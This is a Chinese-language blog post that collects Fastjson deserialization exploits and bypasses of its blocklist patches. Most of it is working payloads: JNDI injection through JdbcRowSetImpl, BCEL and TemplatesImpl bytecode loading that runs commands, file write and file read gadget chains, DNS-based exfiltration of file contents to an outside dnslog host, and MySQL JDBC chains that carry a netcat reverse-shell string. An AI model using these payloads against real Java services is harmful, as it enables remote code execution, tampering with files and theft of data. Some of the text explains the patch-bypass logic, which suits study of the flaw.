浅谈Java反序列化Fastjson&bypass
fastjson介绍
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
Student:
package org.example;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
复制代码
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
Student student = new Student();
student.setName("Harder");
// student.setAge(6);
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
JSONObject jsonObject = JSON.parseObject(jsonString);
}
}
复制代码

我们发现在json序列化过程中会调用其getter,而在parseObject过程中会getter和setter和is同时调用。这也是我们造成漏洞的原因。
具体流程看了跟踪了一下,感觉大概明白了(晕晕的),先往前推推进度吧,后续在来细看
fastjson和原生反序列化的区别:
-
不需要实现Serializable
-
变量不需要不是transient 变量有对应的setter或者是public或者是满足条件的getter(getter方法利用要满足返回值是Map那几种,也不一定如果toJSON前面不出错也可以出发getter)
-
setter和getter 不是readObject
-
相同的是sink 反射/动态类加载
Fastjson<=1.2.24
JdbcRowSetImpl
这个payload其实本质是打jndi,遇到环境的时候要考虑jdk版本,在Java高版本中LDAP和RMI受到trustURLCodebase
限制,然后配合我们之前的高版本打jndi来做。总体来说这个链子还是非常好用的
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/JnoMzNoZ\",\"AutoCommit\":false}";
JSON.parseObject(s);
}
}
复制代码

TemplatesImpl
这个可以用于加载字节码,也可以在不出网的情况下利用。但是有个极大的弊端,需要指定Feature.SupportNonPublicField。所以还是很少用它


这是TemplatesImpl加载字节码的流程,正好有个getter,我们可以调用getOutputProperties。然后实现后续一系列的链子
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String args[]){
try {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\Download\\JavaThings-master(1)\\JavaThings-master\\fastjson\\target\\classes\\TemplatesBytes.class"));
String base64 = java.util.Base64.getEncoder().encodeToString(bytes);
System.out.println(base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String s = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+base64+"\"],'_name':'lemono','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(s);
JSON.parseObject(s, Feature.SupportNonPublicField);
// Object obj = JSON.parse(s, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
复制代码
后面那些赋值都有setter可以用,所以值和之前cc链一样赋值就可以了
BCEL
参考:https://www.freebuf.com/vuls/360993.html
BCEL Classloader在 JDK < 8u251之前是在 rt.jar里面。且在Tomcat7和Tomcat8下的利用类不同。(高版本jdk)
tomcat7:
org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8及其以后:
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
引入tomcat-dhcp依赖;
pom.xml:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.5.42</version>
</dependency>
复制代码
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
复制代码

在loadClass()方法中,createClass()通过subString()截取后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组。之后生成Parser解析器并调用parse()方法进行解析,生成JavaClass对象。之后获取到了该JavaClass对象的bytes数组并调用java原生的defineClass()加载,从而实现类加载。
作为类加载器,可以用于加载系统、网络或者其他来源的类文件,所以BCEL类加载器在攻防领域中的应用包括Fuzz反序列化Gadget、Thymeleaf SSTI利用、Fastjson BCEL利用等,只要是采用BCEL类加载器加载用户传入数据的地方皆可成为被利用的攻击点。
https://github.com/hunzi0/BCELCode/releases/tag/1.0 这个工具可用来加密类和解密BECL编码的类
利用:
生成BCEL形式字符:
Path path = Paths.get("E:/TestRef.class");
byte[] bytes = Files.readAllBytes(path);
String result = Utility.encode(bytes,true);//生成becl形式的编码
System.out.println("$$BCEL$$" + result);
复制代码
TestRef.class:
public class TestRef {
public TestRef() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
复制代码
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$+bcel值"
}
}: "x"
}
复制代码
Fastjson <=1.2.47
在1.2.25版本之后,修补方案是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass
替换为checkAutoType()函数。采用黑名名单对其类实现一种过滤。
默认情况下autoTypeSupport为False,当为false时候默认用黑名单过滤且禁止反序列化。如果设置true的话可以用一些小tips进行绕过补丁
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
复制代码

1.2.25 - 1.2.41 补丁绕过(autoTypeSupport=true)
当如果我们直接运行刚刚的那个代码可以发现

他把这些类给ban了
然而在autoTypeSupport=true的时候我们可以用一下的payload实现绕过
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:8085/cNZJYuNO",
"autoCommit":true
}
复制代码

1.2.25-1.2.42 补丁绕过(autoTypeSupport=true)
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
复制代码
1.2.25-1.2.43 补丁绕过(autoTypeSupport=true)
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
复制代码
因为默认是false,意义不大。我们还是研究一下怎么绕false的情况吧
JdbcRowSetImpl_Bypass
JdbcRowSetImpl在黑名单中
exp:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.30.1.214:1389/my9azs",
"autoCommit":true
}
}
复制代码
我们来看看绕过的流程:

这里的getClassFromMapping从缓存中取到类是可以直接return类的。
那我们得想办法把我们的类给加载到Mapping表中,于是我们找一个地方有Mapping.put的,把我们的恶意类缓存到Mapping表中。我们找到函数loadClass发现里面有mappings.put能够将对象put进去。继续找谁调用了这个函数

我们可以看到在MiscCodec里面的deserialze函数里面调用了loadClass方法,MiscCodec是实现了一个序列化和反序列化器

然后我们看这里是调用了deserialze方法的,前面的deserializer是反序列化器,是在config里面获取的。我们可以看到config里面Class.Class对呀的反序列化器是MiscCodec类。一切就正好,所以我们只要设置key为java.lang.Class就行,把我们想要绕过的类,作为值就可以了,put到缓存里面来。


Fastjson <= 1.2.68
在1.2.47中不仅可以绕过无法反序列化的限制,而且能bypass黑名单,在这个版本中,是无法绕过黑名单的。但是可以绕过无法反序列化的限制,也就是关闭autoTypeSupport的限制。
在1.2.68版本中更新了一个 safeMode
如果开启了safeMode,那么autoType就会被完全禁止。还在这添加了一个false

本次绕过checkAutoType()
函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()
函数执行恶意操作。
简单地说,本次绕过checkAutoType()
函数的攻击步骤为:
- 先传入某个类,其加载成功后将作为expectClass参数传入
checkAutoType()
函数; - 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或
setter
方法中存在危险操作则可以被攻击利用;
我们这里是用的AutoCloseable来实现绕过的,因为AutoCloseable类获取到反序列化器为
JavaBeanDeserializer,只有JavaBeanDeserializer和ThrowableDeserializer中的checkAutoType中传入expectClass的点是非空是自己的类型,我们可以通过这个来绕过实现提前类的返回,这个代码在这


这里就是在方法isAssignableForm中实现的是如果期望类是clazz类的接口和子类,则返回未true。所以直接能够跳到return clazz来

获取到序列化器后,进入JavaBeanDeserializer的序列化函数里面的checkAutoType,然后能够绕过序列化返回。后续由于我们的类不在黑名单中,导致expectClassFlag为true,进入loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的


跟进loadClass函数发现这里用AppClassload加载器,加载之后即返回类。

写文件利用
依赖比较多,条件苛刻
payload:
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "e:/ddd.txt",
"tempPath": "e:/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cXdlcmFzZGY=",
"outputStream": {
"$ref": "$.stream"
},
"position": 8
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
复制代码
buffer为base64内容,position为写入的长度。targetPath是要写入的路径,把其设置为我要写入的路径
Commons-IO 2.0 - 2.6
JDK8: 1.2.37<=FastJson<=1.2.68
JDK11: 1.2.57<=FastJson<=1.2.68
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
复制代码
需保证在数据传入时长度必须大于8192(8KB)才会写入到文件,且只会写入前8KB
code是我们要写入的代码。
String code = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}";
int length = code.length();
for (int i = 0; i <= 8192 - length ; i++) {
code += " ";
}
String poc4 = "{\n" +
" \"x\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\"" + code +"\"\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\":{\n" +
" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\":\"e:/aaa.txt\",\n" +
" \"encoding\":\"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger2\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger3\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" }\n" +
" }\n" +
"}";
System.out.println(poc4);
复制代码
Commons-IO 2.7 - 2.8
String code5 = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}";
int length5 = code5.length();
for (int i = 0; i <= 8192 - length5 ; i++) {
code5 += " ";
}
String poc5 = "\n" +
"{\n" +
" \"x\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\""+ code5 +"\",\n" +
" \"start\":0,\n" +
" \"end\":2147483647\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\":{\n" +
" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\":\"e:/ccc.txt\",\n" + //更改文件写入路径
" \"charsetName\":\"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"inputStream\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger2\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"inputStream\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger3\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"inputStream\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" }\n" +
" }";
System.out.println(poc5);
复制代码
JDK11-无限制写文件
1.2.57<=FastJson<=1.2.68
主要针对JDK11版本,无其他环境依赖,且写入文件完整。
当确定JDK版本为11,可优先选择这条链。
public class Fastjson_WriteFile_JDK11 {
public static void main(String[] args) throws Exception {
String code = gzcompress("qwerasdf");
//php -r "echo base64_encode(gzcompress('qwerasdf'));"
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"e:/bbb.txt\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\""+code+"\",\r\n"
+ " \"limit\":16\r\n" //需对应修改
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";
System.out.println(payload);
JSON.parseObject(payload);
}
public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}
}
复制代码
gzcompress中传入需要写入的数据,区别于单纯base64编码数据,测试只能通过这种方式经压缩算法压缩后写入到文件。随后是修改limit处,与之前为原始数据长度不同,这里会有一点偏差, 他往往会比真实长度要短。例如我这里要写入的数据为qwerasdf
,对应长度为8,但写上8会发现写入到文件中是错误的甚至为空。
这里解决方式是利用报错,先适当写入比原始长度更长的数据,如20(测试发现尽量为2倍),同时在报错中会给出真实数据容量。

真实环境测试

409才是对应的真实数据容量

读文件利用
aspectjtools
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.5.4</version>
</dependency>
复制代码
虽然可做到读文件,但实际上是文件迁移,将会清空temp文件,写入到target中,所以,慎用!
//temppath存在,targetpath不存在,则将temp文件写入target
String poc3 = "{\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\": \"./bbbbbbb.txt\",\n" +
" \"tempPath\": \"e:/aaa.txt\"\n" +
"}";
复制代码
Commons-IO - 报错
相较于上一种利用更加广泛,引入的依赖更加常见。
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
复制代码
类似于SQL的报错布尔盲注,根据报错信息不同判断文件内容。
后续脚本或burp爆破即可。
//commons-io 报错盲注
String poc2 = "{\n" +
" \"abc\": {\n" +
"\t\t\t\t\"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\": {\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +
" \"url\": \"file:///e:/ccc.txt\"\n" + //待读取的文件内容
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024\n" +
" },\n" +
" \"boms\": [\n" +
" {\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\": [\n" +
" 70,76\n" + //文件内容的ascii,例如e:/ccc.txt中前两个字符FL,对应的ascii:70,76
" ]\n" +
" }\n" +
" ]\n" +
" },\n" +
" \"address\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\": {\n" +
" \"@type\": \"java.lang.String\"{\"$ref\":\"$.abc.BOM[0]\"},\n" +
" \"start\": 0,\n" +
" \"end\": 0\n" +
" }\n" +
" }\n" +
"}";
复制代码
Commons-IO - DNSLOG
存在commons-io依赖即可,字节正确则发起DNS请求,根据请求读取文件信息。适用于无回显条件。
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///e:/ccc.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [70,76] //与上述一致
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://lemono.s42bkn.dnslog.cn"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{"$ref":"$.abc.BOM[0]"}]
},
"xxx":{"$ref":"$.address.BOM[0]"}
}
复制代码
Mysql-JDBC反序列化
5.1.11-5.1.48
存在mysql-connect依赖可JDBC反序列化rce。
先启动fake_mysql服务端https://github.com/fnmsd/MySQL_Fake_Server,具体使用看JDBC反序列化篇。
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
复制代码
// mysql 5.1.11-5.1.48
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh",
"password": "12345",
"maxAllowedPacket": "655360",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
复制代码
6.0.2-6.0.3
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh"
}
}
}
复制代码
8.0.19
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "127.0.0.1"
}
],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections6_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
复制代码
参考:
https://b1ue.cn/archives/382.html
https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80/